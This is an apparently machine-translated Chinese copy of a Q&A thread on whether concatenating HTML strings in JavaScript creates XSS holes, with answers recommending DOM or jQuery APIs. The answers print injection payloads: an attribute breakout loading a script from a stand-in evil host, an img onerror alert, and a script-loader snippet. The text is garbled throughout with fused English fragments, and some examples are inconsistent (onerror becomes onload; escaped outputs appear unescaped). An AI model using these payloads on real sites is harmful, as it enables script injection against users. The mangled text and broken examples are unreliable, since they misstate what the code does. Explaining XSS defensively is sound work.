在Javascript中构buildHTMLstring真的不安全吗?
托pipe我们网站的公司在部署之前审查我们的代码 – 他们最近告诉我们这个:
不应该直接操纵HTMLstring,因为这会打开潜在的XSS漏洞。 相反,总是使用DOM API创build元素…可以是jQuery或直接的DOM API。
例如,而不是
this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );
他们告诉我们这样做
var quizAuLink = $( 'a' ); quizAuLink.addClass( 'quiz-au' ); quizAuLink.data( 'src', this.au ); quizAu.text( 'Click to play' ); quizAu.prepend( '<span class="quiz-au-icon"></span>' );
这是真的吗? 任何人都可以给我们一个XSS攻击的例子,可以利用像第一个HTMLstring?
如果this.au
以某种方式修改,它可能包含这样的内容:
"><script src="http://example.com/evilScript.js"></script><span class="
这会弄乱你的HTML并注入一个脚本:
<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>
如果你使用DOM操作来设置src
属性,那么脚本(或者你使用的任何其他的XSS)将不会被执行,因为它将被DOM API正确地转义。
对于一些评论者的回应是,如果有人能够修改this.au
,他们当然可以自己来运行脚本:我不知道这个this.au
是从哪里来的,也不是特别相关的。 这可能是数据库中的一个值,数据库可能已经被盗用。 也可能是一个恶意用户试图为其他用户搞砸。 甚至可能是一个天真的非技术人员,他不知道写"def" > "abc"
会破坏东西。
还有一件事。 在你提供的代码中, var quizAuLink = $( 'a' );
将不会创build一个新的<a>
元素。 它只会select所有现有的。 你需要使用var quizAuLink = $( '<a>' );
创造一个新的。
这应该是一样安全的,没有太多的可读性妥协:
var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>'); link.data("src", this.au);
重点是避免string操作来构buildHTMLstring。 请注意,在上面,我使用$()
来parsing一个常量string,它parsing为一个众所周知的结果。 在这个例子中,只有this.au
部分是危险的,因为它可能包含dynamic计算的值。
由于您无法使用.innerHTML
在现代浏览器中注入脚本标记,因此您需要监听一个事件:
如果this.au
以某种方式修改,它可能包含这样的内容:
"><img src="broken-path.png" onerror="alert('my injection');"><span class="
这会弄乱你的HTML并注入一个脚本:
<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>
因为运行更大块的JavaScript设置错误:
var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);
感谢Scimoster的样板
除了安全性之外,当你用JavaScript构buildHTML时,你必须确保它是有效的。 虽然可以通过string操作*来构build和消毒HTML,但DOM操作要方便得多。 不过,你必须确切知道你的string的哪一部分是HTML,哪一部分是文本文本。
考虑下面的例子,我们有两个硬编码的variables:
var href = "/detail?tag=hr©%5B%5D=1", text = "The HTML <hr> tag";
以下代码天真地构buildHTMLstring:
var div = document.createElement("div"); div.innerHTML = '<a href="' + href + '">' + text + '</a>'; console.log(div.innerHTML); // <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>
这使用jQuery,但它仍然不正确(它使用.html()
应该是文本的variables ):
var div = document.createElement("div"); $("<a></a>").attr("href", href).html(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a>
这是正确的,因为它按预期显示文本 :
var div = document.createElement("div"); $("<a></a>").attr("href", href).text(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a>
结论:使用DOM操作/ jQuery不保证任何安全性,但它确实是正确的一步。
*看到这个问题的例子 。 讨论了string和DOM操作。